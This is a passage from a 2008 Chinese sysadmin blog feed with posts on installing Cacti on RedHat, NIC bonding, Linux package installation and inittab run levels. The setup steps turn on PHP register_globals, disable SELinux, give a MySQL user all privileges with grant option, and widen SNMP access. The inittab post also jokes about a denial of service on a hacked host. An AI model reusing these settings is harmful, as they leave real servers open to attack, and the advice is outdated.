height=144 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/11-300x144.jpg" width=300></a><br>点击threshld选项卡可以查看警报的触发情况，如下：<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/12.jpg"><img class="alignnone size-medium wp-image-725" title=12 height=83 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/12-300x83.jpg" width=300></a><br>磁盘报警邮件范例：</p>
<div class=hl-surround>
<div class=hl-main>Host: 192.168.1.207 (192.168.1.207)<br>URL: http://192.168.1.211/cacti//graph.php?local_graph_id=&amp;rra_id=1<br>Message: 192.168.1.207 - Used Space - D: Label:tool [hdd_percent] went<br>above threshold of 0.085 with 0.0896</div>
</div>
<p>Ok,磁盘空间的邮件报警就正式配置完成了。</p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48770.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-09-05 23:20 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48770.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>RedHat Linux 下安装配置CACTI的技巧</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/09/03/48684.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Wed, 03 Sep 2008 14:45:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/09/03/48684.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48684.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/09/03/48684.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48684.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48684.html</trackback:ping><description><![CDATA[<p><strong>安装环境及需求:</strong>
<p>1.系统:RedHat AS4(update2)
<p>2.软件包需求:cacti-0.8.6j,mysql-5.0.20,php-5.2.0,apache2.0.58(以上均为源码包).
<p><strong>安装配置过程:</strong>
<p>1. 安装apache2.0.58
<p>解压软件包,进入安装目录,我的编译过程如下:
<p># ./configure --prefix=/usr/local/apache2 --enable-modules=so
<p># make;make install
<p>编译选项比较简单,--prefix=你需要把apache安装的位置,--enable-modules=so意思是可以动态加载apache所需
<p>要的.so 的模块
<p>安装完成后,编辑apache的配置文件,使之能正常使用:
<p># vi /usr/local/apache2/conf/httpd.conf
<p>找到下面这行:
<p>#ServerName www.example.com:80
<p>改为:
<p>ServerName yourIP:80
<p>启动apache:
<p>#/usr/local/apache2/bin/apachectl start
<p>在浏览器里输入你的IP或者localhost测试一下,是否能看到apache的测试页,成功的话,说明安装成功
<p>2.安装mysql-5.0.20
<p>解压软件包,进入安装目录,我的编译过程如下:
<p># ./configure --prefix=/usr/local/mysql
<p># make;make install
<p># cp support-files/my-medium.cnf /etc/my.cnf (这一步是将配置文件拷贝到/etc下面)
<p>编译选项当中指定安装路径就可以了
<p>配置mysql过程:
<p>#groupadd mysql
<p>#useradd -g mysql mysql
<p>#cd /usr/local/mysql
<p>#./bin/mysql_install_db --user=mysql
<p>#chown -R root .
<p>#chown -R mysql var
<p>#chogrp -R mysql .
<p>启动mysql
<p>#./bin/mysqld_safe --user=mysql &amp;
<p>如果看到下面的信息,就说明启动成功了
<p># Starting mysqld daemon with databases from /usr/local/mysql/var
<p>可以测试一下,看看能不能登陆mysql数据库
<p># /usr/local/mysql/bin/mysqladmin -uroot password '你的密码' (给初始登陆mysql的用户root设置密码,当
<p>然不设置也能登陆,推荐设置密码)
<p># /usr/local/mysql/bin/mysql -uroot -p你的密码 (注意: -p后面不要带空格)
<p>如果出现下面的欢迎字样,说明连接成功:
<p>Welcome to the MySQL monitor. Commands end with ; or g.
<p>Your MySQL connection id is 9 to server version: 5.0.20a-log
<p>mysql&gt;
<p>3.安装php-5.2.0
<p>解压软件包,进入安装目录,我的编译过程如下:
<p># ./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache2/bin/apxs --with-
<p>mysql=/usr/local/mysql --with-config-file-path=/usr/local/php/etc
<p>#make;make install
<p>编译选项中--with-apxs2=/usr/local/apache2/bin/apxs 是说将PHP模块编译进apache,--with-
<p>mysql=/usr/local/mysql 是说指定mysql的路径(其实就是告诉PHP我们的mysql的一些头文件信息,如果你的
<p>mysql和PHP不是同一台机器的话,指定mysql的头信息是编译必要的),--with-config-file-
<p>path=/usr/local/php/etc 是说将PHP的主配置文件放在什么地方,这是个人习惯
<p>#cp php.ini-dist /usr/local/php/etc/php.ini
<p>#vi /usr/local/php/etc/php.ini
<p>找到如下内容:
<p>register_globals = Off
<p>改为:
<p>register_globals = On
<p>为了使PHP能够配合apache使用,还需要修改apache的配置文件:
<p>#vi /usr/local/apache2/conf/httpd.conf
<p>找到下面字段:
<p>DirectoryIndex
<p>在iindex.html前面添加index.php
<p>并在配置文件最后加入如下字段:
<p>AddHandler php5-script .php
<p>AddType text/html .php
<p>测试PHP是否正常运行:
<p>#vi /usr/local/apache2/htdocs/index.php
<p>写入下面一行:
<p>＜?php phpinfo() ?＞
<p>保存退出后重新启动apache
<p>#/usr/local/apache2/bin/apachectl restart
<p>这里需要注意,如果系统的selinux没有关闭的话,我们的php的模块是不能被apache正确找到的,所以在重起apache
<p>之前,请将selinux关闭,具体做法是:
<p>#vi /etc/selinux/config
<p>找到如下字段:
<p>SELINUX=enforcing
<p>改为:
<p>SELINUX=disabled
<p>保存退出后需要重新启动电脑
<p>在浏览器里输入IP，如果能够看到phpinfo的测试页，那么PHP已经正常工作了
<p>4.安装cacti-0.8.6j
<p>安装前的准备：由于cacti需要net-snmp和rrdtool两个工具来配合使用，所以需要安装这两个工具，由于默认完
<p>全安装RedHat AS4的情况下这两的工具是都安装好的，所以我之前没有提到，如果没有安装这两个工具，那么建
<p>议去http://rpmfind.net去找相关的rpm包来安装，这个网站使用起来很方便，只要输入工具的名字，就能把rpm
<p>包匹配的系统版本的所有rpm包列出来，很方便，rpm包的安装，我这里就不赘述了
<p>以下的配置是默认安装好了上述两个工具的配置
<p>解压cacti的软件包，进行如下操作：
<p>#mv cacti-0.8.6j /usr/local/apache2/htdocs/cacti
<p>#cd /usr/local/apache2/htdocs/cacti
<p>#/usr/local/mysql/bin/mysql -uroot -p你的密码
<p>mysql&gt; grant all privileges on *.* to '你的用户名[email=]'@'localhost'[/email] identified by '为这用户添加的密码'
<p>with grant option;
<p>mysql&gt; create database cacti;
<p>mysql&gt; exit
<p>#/usr/local/mysql/bin/mysql -u用户名 -p你的密码 cacti &lt; cacti.sql
<p>#vi include/config.php
<p>修改如下段落：
<p>$database_type = "mysql";
<p>$database_default = "cacti";
<p>$database_hostname = "localhost";
<p>$database_username = "cactiuser";
<p>$database_password = "cactiuser";
<p>$database_port = "3306";
<p>改为：
<p>$database_type = "mysql";
<p>$database_default = "cacti";
<p>$database_hostname = "localhost";
<p>$database_username = "用户名";
<p>$database_password = "你的密码";
<p>$database_port = "3306";
<p><strong>修改snmp的配置文件：</strong>
<p>#vi /etc/snmp/snmpd.conf
<p><strong>修改下面几部分内容：</strong>
<p>1.)com2sec notConfigUser default public
<p>改为：com2sec notConfigUser localhost public
<p>2.)access notConfigGroup "" any noauth exact systemview none none
<p>改为：access notConfigGroup "" any noauth exact all none none
<p>3.)#view all included .1 80
<p>去掉注释
<p>保存退
<p>启动snmp
<p>#/etc/init.d/snmpd start
<p>修改计划任务，使CACTI每5分钟获得一次数据：
<p>#crontab -e -u 用户名
<p><strong>添加如下内容：</strong>
<p>*/5 * * * * /usr/local/php/bin/php /usr/local/apache2/htdocs/cacti/poller.php &gt; /dev/null 2&gt;&amp;1
<p>保存退出
<p>#chown -R rra/ log/
<p>这样cacti就基本配置完成了
<p>在浏览器里输入IP/cacti初始进入的时候需要告诉cacti你的PHP的可执行文件的路径，其他默认就可以，默认的
<p>用户名和密码是admin和admin。进去后要马上修改密码，保存后就进入cacti的世界了。 </p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48684.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-09-03 22:45 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/09/03/48684.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux双网卡bonding举例</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48495.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Thu, 28 Aug 2008 14:25:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48495.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48495.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48495.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48495.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48495.html</trackback:ping><description><![CDATA[<div>所谓bonding，就是将多块网卡绑定同一IP地址对外提供服务，可以实现高可用或者负载均衡。当然，直接给两块网卡设置同一IP地址是不可能的。通过bonding，虚拟一块网卡对外提供连接，物理网卡的被修改为相同的MAC地址。Kernels 2.4.12及以后的版本均提供bonding模块，以前的版本可以通过patch实现。<br><br>1.确认你目前使用的网卡，检查/etc/sysconfig/network-scripts目录下以ifcfg-开头的文件，应该为eth0, eth1...<br><br>2. 配置虚拟网卡bond0<br>可以使用DHCP，也可以配置static IP，最好通过vi编辑配置文件<br>
<div class=quote>
<div class=quote-title>引用</div>
<div class=quote-content>[root@server1 ~]# cd /etc/sysconfig/network-scripts<br>[root@server1 network-scripts]# cat ifcfg-bond0<br>DEVICE=bond0<br>BOOTPROTO=none<br>ONBOOT=yes<br>NETWORK=192.168.0.0<br>NETMASK=255.255.255.0<br>IPADDR=192.168.0.10<br>USERCTL=no<br>GATEWAY=192.168.0.254<br>TYPE=Ethernet</div>
</div>
<br><br>3. 修改eth0, eth1配置文件<br>
<div class=quote>
<div class=quote-title>引用</div>
<div class=quote-content>[root@server1 network-scripts]# ifcfg-eth0<br>DEVICE=eth0<br>BOOTPROTO=none<br>ONBOOT=yes<br>MASTER=bond0<br>SLAVE=yes<br>USERCTL=yes<br>[root@server1 network-scripts]# ifcfg-eth1<br>DEVICE=eth1<br>BOOTPROTO=none<br>ONBOOT=yes<br>MASTER=bond0<br>SLAVE=yes<br>USERCTL=yes</div>
</div>
<br><br>4. 将新添加的bond0设备加入modprobe.conf中，以便kernel识别。加入设置参数，miimon值表示两块网卡相互监测的时间，以ms为单位。mode值为工作模式，可设置为高可<a name=entrymore></a>用还是负载均衡，0为高可用（默认值），1为负载均衡，另外还有一种XOR模式。<br>
<div class=quote>
<div class=quote-title>引用</div>
<div class=quote-content>alias bond0 bonding<br>options bond0 miimon=100 mode=1</div>
</div>
<br><br>关于Linux使用bonding的详细信息可以参考官方文档http://www.kernel.org/pub/linux/kernel/people/marcelo/linux-2.4/Documentation/networking/bonding.txt </div>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48495.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-08-28 22:25 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48495.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux下软件安装详解</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48493.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Thu, 28 Aug 2008 14:06:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48493.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48493.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48493.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48493.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48493.html</trackback:ping><description><![CDATA[<span>在</span><span>Windows</span><span>下安装软件时，只需用鼠标双击软件的安装程序，</span>
<p><span>或者用</span><span>Zip</span><span>等解压缩软件解压缩即可安装。</span></p>
<p><span>在</span><span>Linux</span><span>下安装软件对初学者来说，难度高于</span><span>Windows</span><span>下软件安装。</span><span> </span></p>
<p><span>下面我就详细讲解</span><span>Linux</span><span>下如何安装软件。</span><span> <br></span><span>　　先来看看</span><span>Linux</span><span>软件扩展名。</span></p>
<p><span>软件后缀为</span><span>.rpm</span><span>最初是</span><span>Red Hat Linux</span><span>提供的一种包封装格式，</span></p>
<p><span>现在许多</span><span>Linux</span><span>发行版本都使用；后缀为</span><span>.deb</span><span>是</span><span>Debain Linux</span><span>提供的一种包封装格式；</span></p>
<p><span>后缀为</span><span>.tar.gz</span><span>、</span><span>tar.Z</span><span>、</span><span>tar.bz2</span><span>或</span><span>.tgz</span><span>是使用</span><span>Unix</span><span>系统打包工具</span><span>tar</span><span>打包的；</span></p>
<p><span>后缀为</span><span>.bin</span><span>的一般是一些商业软件。通过扩展名可以了解软件格式，进而了解软件安装。</span><span> <br></span><span>　　</span><span>RPM</span><span>格式软件包的安装</span><span> <br></span><span>　　</span><span>1.</span><span>简介</span><span><br></span><span>　　几乎所有的</span><span>Linux</span><span>发行版本都使用某种形式的软件包管理安装、更新和卸载软件。与直接从源代码安装相比，软件包管理易于安装和卸载；易于更新已安装的软件包；易于保护配置文件；易于跟踪已安装文件。</span><span> <br></span><span>　　</span><span>RPM</span><span>全称是</span><span>Red Hat Package Manager</span><span>（</span><span>Red Hat</span><span>包管理器）。</span><span>RPM</span><span>本质上就是一个包，包含可以立即在特定机器体系结构上安装和运行的</span><span>Linux</span><span>软件。</span><span>RPM</span><span>示意图见图</span><span>1</span><span>。</span><span> <br><br></span><span>　　大多数</span><span>Linux RPM</span><span>软件包的命名有一定的规律，它遵循名称</span><span>-</span><span>版本</span><span>-</span><span>修正版</span><span>-</span><span>类型－</span><span>MYsoftware-1.2 -1.i386.rpm </span><span>。</span><span> <br><br></span><span>　　</span><span>2.</span><span>安装</span><span>RPM</span><span>包软件</span><span> <br></span><span>　　＃　</span><span>rpm -ivh MYsoftware-1.2 -1.i386.rpm <br><br></span><span>　　</span><span>RPM</span><span>命令主要参数：</span><span> <br><br></span><span>　　</span><span>-i </span><span>安装软件。</span><span><br></span><span>　　</span><span>-t </span><span>测试安装，不是真的安装。</span><span> <br></span><span>　　</span><span>-p </span><span>显示安装进度。</span><span><br></span><span>　　</span><span>-f </span><span>忽略任何错误。</span><span><br></span><span>　　</span><span>-U </span><span>升级安装。</span><span><br></span><span>　　</span><span>-v </span><span>检测套件是否正确安装。</span><span><br></span><span>　　　　这些参数可以同时采用。更多的内容可以参考</span><span>RPM</span><span>的命令帮助。</span><span> <br></span><span>　　</span><span>3.</span><span>卸载软件</span><span> <br></span><span>　　＃　</span><span>rpm -e </span><span>软件名</span><span> <br></span><span>　　需要说明的是，上面代码中使用的是软件名，而不是软件包名。例如，要卸载</span><span>software-1.2.-1.i386.rpm</span><span>这个包时，应执行：</span><span><br></span><span>　　＃</span><span>rpm -e software <br>4.</span><span>强行卸载</span><span>RPM</span><span>包</span><span><br></span><span>　　有时除去一个</span><span>RPM</span><span>是不行的，尤其是系统上有别的程序依赖于它的时候。如果执行命令会显示如下错误信息：</span><span> <br></span><span>　　＃</span><span># rpm -e xsnow<br></span><span>　　</span><span>error: removing these packages would break dependencies:<br></span><span>　　</span><span>/usr/X11R6/bin/xsnow is needed by x-amusements-1.0-1<br></span><span>　　在这种情况下，可以用</span><span>--force</span><span>选项重新安装</span><span>xsnow</span><span>：</span><span> <br></span><span>　　＃</span><span># rpm -ivh --force xsnow-1.41-1.i386.rpm<br></span><span>　　</span><span>xsnow<br></span><span>　这里推荐使用工具软件</span><span>Kleandisk</span><span>，用它可以安全彻底清理掉不再使用的</span><span>RPM</span><span>包。</span><span><br></span><span>　　</span><span>5.</span><span>安装</span><span>.src.rpm</span><span>类型的文件</span><span><br></span><span>　　目前</span><span>RPM</span><span>有两种模式，一种是已经过编码的（</span><span>i386.rpm</span><span>），一种是未经编码的（</span><span>src.rpm</span><span>）。</span><span><br></span><span>　　</span><span>rpm --rebuild Filename.src.rpm <br></span><span>　　这时系统会建立一个文件</span><span>Filenamr.rpm</span><span>，在</span><span>/usr/src/redflag/RPMS/</span><span>子目录下，一般是</span><span>i386</span><span>，具体情况和</span><span>Linux</span><span>发行版本有关。然后执行下面代码即可：</span><span><br></span><span>　　</span><span>rpm -ivh /usr/src/regflag/RPMS/i386/Filename.rpm <br></span><span>　　使用</span><span>deb</span><span>打包的软件安装</span><span> <br></span><span>　　</span><span>deb</span><span>是</span><span>Debian Linux</span><span>提供的一个包管理器，它与</span><span>RPM</span><span>十分类似。但由于</span><span>RPM</span><span>出现得早，并且应用广泛，所以在各种版本的</span><span>Linux</span><span>中都常见到，而</span><span>Debian</span><span>的包管理器</span><span>dpkg</span><span>只出现在</span><span>Debina Linux</span><span>中。它的优点是不用被严格的依赖性检查所困扰，缺点是只在</span><span>Debian Linux</span><span>发行版中才能见到这个包管理工具。</span><span> <br></span><span>　　</span><span>1. </span><span>安装</span><span><br></span><span>　　＃　</span><span>dpkg -i MYsoftware-1.2.-1.deb <br></span><span>　　</span><span>2. </span><span>卸载</span><span><br></span><span>　　＃　</span><span>dpkg -e MYsoftware <br></span><span>　　使用源代码进行软件安装</span><span> <br></span><span>　　和</span><span>RPM</span><span>安装方式相比，使用源代码进行软件安装会复杂一些，但是用源代码安装软件是</span><span>Linux</span><span>下进行软件安装的重要手段，也是运行</span><span>Linux</span><span>的最主要的优势之一。使用源代码安装软件，能按照用户的需要选择定制的安装方式进行安装，而不是仅仅依靠那些在安装包中的预配置的参数选择安装。另外，仍然有一些软件程序只能从源代码处进行安装。</span><span> <br></span><span>　　现在有很多地方都提供源代码包，到底在什么地方获得取决于软件的特殊需要。对于那些使用比较普遍的软件，如</span><span>Sendmail</span><span>，可以从商业网站处下载源代码软件包（如</span><span>http://www.sendmail.org </span><span>）。一般的软件包，可从开发者的</span><span>Web</span><span>站点下载。下面介绍一下安装步骤：</span><span> <br></span><span>　　</span><span>1.</span><span>解压数据包</span><span><br></span><span>　　源代码软件通常以</span><span>.tar.gz</span><span>做为扩展名</span><span>,</span><span>也有</span><span>tar.Z</span><span>、</span><span>tar.bz2</span><span>或</span><span>.tgz</span><span>为扩展名的。不同扩展名解压缩命令也不相同，见表</span><span>1</span><span>。</span><span>
<table cellSpacing=1 cellPadding=1 width=301 border=1>
    <tbody>
        <tr>
            <td>&nbsp;压缩包类型</td>
            <td>&nbsp;解压缩命令</td>
        </tr>
        <tr>
            <td>&nbsp;.gz</td>
            <td>&nbsp;gunzip</td>
        </tr>
        <tr>
            <td>&nbsp;.z</td>
            <td>&nbsp;uncompress</td>
        </tr>
        <tr>
            <td>&nbsp;.zip</td>
            <td>&nbsp;unzip</td>
        </tr>
        <tr>
            <td>&nbsp;.bz2</td>
            <td>&nbsp;bunzip2</td>
        </tr>
    </tbody>
</table>
<br></span><span>　　</span><span><br></span><span>　　</span><span>2.</span><span>编译软件</span><span><br></span><span>　　成功解压缩源代码文件后，进入解包的目录。在安装前阅读</span><span>Readme</span><span>文件和</span><span>Install</span><span>文件。尽管许多源代码文件包都使用基本相同的命令，但是有时在阅读这些文件时能发现一些重要的区别。例如，有些软件包含一个可以安装的安装脚本程序（</span><span>.sh</span><span>）。在安装前阅读这些说明文件，有助于安装成功和节约时间。</span><span> <br></span><span>　　在安装软件以前要成为</span><span>root</span><span>用户。实现这一点通常有两种方式：在另一台终端以</span><span>root</span><span>用户登录，或者输入</span><span>&#8220;su&#8221;</span><span>，此时系统会提示输入</span><span>root</span><span>用户的密码。输入密码以后，就将一直拥有</span><span>root</span><span>用户的权限。如果已经是</span><span>root</span><span>用户，那就可以进行下一步。</span><span> <br></span><span>通常的安装方法是从安装包的目录执行以下命令：</span><span> <br></span><span>　　</span><span>gunzip soft1.tar.gz<br></span><span>　　</span><span>cd soft1<br></span><span>　　＃</span><span>. /configure </span><span>＃配置＃</span><span><br></span><span>　　</span><span>make </span><span>＃调用</span><span>make</span><span>＃</span><span><br></span><span>　　</span><span>make install </span><span>＃安装源代码＃</span><span><br></span><span>　　删除安装时产生的临时文件：</span><span><br></span><span>　　＃</span><span>make clean <br></span><span>　　卸载软件：</span><span><br></span><span>　　＃</span><span>make uninstall <br></span><span>　　有些软件包的源代码编译安装后可以用</span><span>make uninstall</span><span>命令卸载。如果不提供此功能，则软件的卸载必须手动删除。由于软件可能将文件分散地安装在系统的多个目录中，往往很难把它删除干净，应该在编译前进行配置。</span><span> <br></span><span>　　</span><span>.bin</span><span>文件安装</span><span> <br></span><span>　　扩展名为</span><span>.bin</span><span>文件是二进制的，它也是源程序经编译后得到的机器语言。有一些软件可以发布为以</span><span>.bin</span><span>为后缀的安装包，例如，流媒体播放器</span><span>RealONE</span><span>。如果安装过</span><span>RealONE</span><span>的</span><span>Windows</span><span>版的话，那么安装</span><span>RealONE for Linux</span><span>版本</span><span>(</span><span>文件名：</span><span>r1p1_linux22_libc6_i386_a1.bin)</span><span>就非常简单了：</span><span><br></span><span>　　＃</span><span>chmod +x r1p1_linux22_libc6_i386_a1.bin<br></span><span>　　</span><span>./ r1p1_linux22_libc6_i386_a1.bin <br></span><span>　　接下来选择安装方式，有普通安装和高级安装两种。如果不想改动安装目录，就可选择普通安装，整个安装过程几乎和在</span><span>Windwos</span><span>下一样。</span><span> <br></span><span>　</span><span>.bin</span><span>文件的卸载，以</span><span>RealONE for Linux</span><span>为例，如果采用普通安装方式的话，在用户主目录下会有</span><span>Real</span><span>和</span><span>Realplayer9</span><span>两个文件夹，把它们删除即可。</span><span> <br></span><span>　　</span><span>Linux</span><span>绿色软件</span><span> <br></span><span>　　</span><span>Linux</span><span>也有一些绿色软件，不过不是很多。</span><span>Linux</span><span>系统提供一种机制：自动响应软件运行进程的要求</span><span>,</span><span>为它设定好可以马上运行的环境。这种机制可以是一种接口，或者是中间件。程序员编写的程序可以直接拷贝分发，不用安装，只要点击程序的图标，访问操作系统提供的接口，设定好就可以工作。若要删除软件，直接删除就可以</span><span>,</span><span>不用链接文件。这是最简单的软件安装、卸载方式。</span><span> <br></span><span>　　上面介绍了</span><span>Linux</span><span>软件安装的方法，对于</span><span>Linux</span><span>初学者来说，</span><span>RPM</span><span>安装是一个不错的选择。如果想真正掌握</span><span>Linux</span><span>系统，源代码安装仍然是</span><span>Linux</span><span>下软件安装的重要手段</span></p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48493.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-08-28 22:06 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48493.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>linux inittab详解</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48492.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Thu, 28 Aug 2008 14:03:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48492.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48492.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48492.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48492.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48492.html</trackback:ping><description><![CDATA[一、什么是init<br><br>　　init是Linux系统操作中不可缺少的程序之一。 是一个由内核启动的用户级进程。<br><br>　　内核启动（已经被载入内存，开始运行，并已初始化所有的设备驱动程序和数据结构等）之后，就通过启动一个用户级程序init的方式来启动其他用户级的进程或服务。所以，init始终是第一个进程（其PID始终为1）。<br><br>　　内核会在过去曾使用过init的几个地方查找它，它的正确位置（对Linux系统来说）是/sbin/init.如果内核找不到init，它就会试着运行/bin/sh，如果运行失败，系统的启动也会失败。<br><br>二、运行级别<br><br>　　运行级就是操作系统当前正在运行的功能级别。这个级别从1到6，具有不同的功能。其功能级别如下：# 0 - 停机（千万不能把initdefault 设置为0 ）<br><br>本贴相关代码：<br><br>　　# 1 - 单用户模式# 2 - 多用户，没有 NFS # 3 - 完全多用户模式（标准的运行级）<br><br>　　# 4 - 没有用到# 5 - X11 （xwindow）<br><br>　　# 6 - 重新启动 （千万不要把initdefault 设置为6——把被你黑掉的linux的initdefault设置为0或6也算是拒绝服务攻击噢！）<br><br><br>　　除此之外还有ABC三个运行级别，但在RHLinux中都没有意义。<br><br>　　这些级别在/etc/inittab 文件里指定。这个文件是init 程序寻找的主要文件，最先运行的服务是放在/etc/rc.d 目录下的文件。在大多数的Linux 发行版本中，启动脚本都是位于 /etc/rc.d/init.d中的。这些脚本被用ln 命令连接到 /etc/rc.d/rcn.d 目录。（这里的n 就是运行级0-6）<br><br>三、运行级别的配置<br><br>　　运行级别的配置是在 /etc/inittab行内进行的，如下所示：12 ： 2 ： wait： /etc/init.d/rc2各字段解释如下：id：runlevels：action：process id：是一个任意指定的四个字符以内的序列标号，在本文件内必须唯一；使用老版本的libc5（低于5.2.18）或a.out库编译出来的 sysvinit限制为2字符。注意：像getty之类的登陆进程必须使id字段与tty编号一致，如tty1需要id=1，许多老版本的登陆进程都遵循这种规则。<br><br>　　runlevels：表示这一行适用于运行那个/些级别（这里是2，可以有多个，表示在相应的运行级均需要运行）；另外sysinit、boot、bootwait这三个进程会忽略这个设置值。<br><br>　　action：表示进入对应的runlevels时，init应该运行process字段的命令的方式，常用的字段值及解释在附录内。例子中的wait表示需要运行这个进程一次并等待其结束。<br><br>　　process：具体应该执行的命令。例子中的/etc/init.d/rc命令启动运行级别2中应该运行的进程/命令，并负责在退出运行级时将其终止（当然在进入的runlevel中仍要运行的程序除外。）<br><br>　　当运行级别改变，并且正在运行的程序并没有在新的运行级别中指定需要运行，那么init会先发送一个SIGTERM 信号终止，然后是SIGKILL.<br><br>　　有效的action值如下：respawn：表示init应该监视这个进程，即使其结束后也应该被重新启动。<br><br>　　wait：init应该运行这个进程一次，并等待其结束后再进行下一步操作。<br><br>　　once：init需要运行这个进程一次。<br><br>　　boot：随系统启动运行，所以runlevel值对其无效。<br><br>　　bootwait：随系统启动运行，并且init应该等待其结束。<br><br>　　off：没有任何意义。<br><br>　　initdefault：系统启动后的默认运行级别；由于进入相应的运行级别会激活对应级别的进程，所以对其指定process字段没有任何意义。如果inittab文件内不存在这一条记录，系统启动时在控制台上询问进入的运行级。<br><br>　　sysinit：系统启动时准备运行的命令。比如说，这个命令将清除/tmp.可以查看/etc/rc.d/rc.sysinit脚本了解其运行了那些操作。<br><br>　　powerwait：允许init在电源被切断时，关闭系统。当然前提是有U P S和监视U P S并通知init电源已被切断的软件。RH linux默认没有列出该选项。<br><br>　　powerfail：同powerwait，但init不会等待正在运行的进程结束。RH linux默认没有列出该选项。<br><br>　　powerokwait：当电源监视软件报告&#8220;电源恢复&#8221;时，init要执行的操作。<br><br>　　powerfailnow：检测到ups电源即将耗尽时，init要执行的操作，和powerwait/powerfail不同的哟。<br><br>　　ctrlaltdel：允许init在用户于控制台键盘上按下Ctrl + Alt + Del组合键时，重新启动系统。注意，如果该系统放在一个公共场所，系统管理员可将Ctrl + Alt + Del组合键配置为别的行为，比如忽略等。我是设置成打印一句骂人的话了^o^. kbrequest：监视到特定的键盘组合键被按下时采取的动作，现在还不完善。<br><br>　　ondemand：A process marked with an ondemand runlevel will be executed whenever the specified ondemand runlevel is called. However， no runlevel change will occur （ondemand runlevels are &#8216;a&#8217;， &#8216;b&#8217;，and &#8216;c&#8217;），（英语太菜，那个however不知道该怎么翻译才好。惭愧！）<br><br>　　补充：<br>　　<br>　　1、关于进入单用户模式，一般都是采用设置initdefault为1或者在grub/lilo中指定一个&#8220;single&#8221;或&#8220;emergency&#8221; 命令行参数来实现。其实另外还有一个更干净的方法，编辑：kernel /vmlinuz-2.6.9-22.EL ro root=/bin/sh，这样init就直接启动一个shell，其他任何进程都没有启动哦，够干净吧！<br><br>　　2、系统正在运行时，telinit命令可更改运行级别。运行级别发生变化时， init 就会从/etc/inittab运行相应的命令 
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48492.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-08-28 22:03 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48492.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>RedHat SELinux系统简介及案例分析</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48491.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Thu, 28 Aug 2008 13:57:00 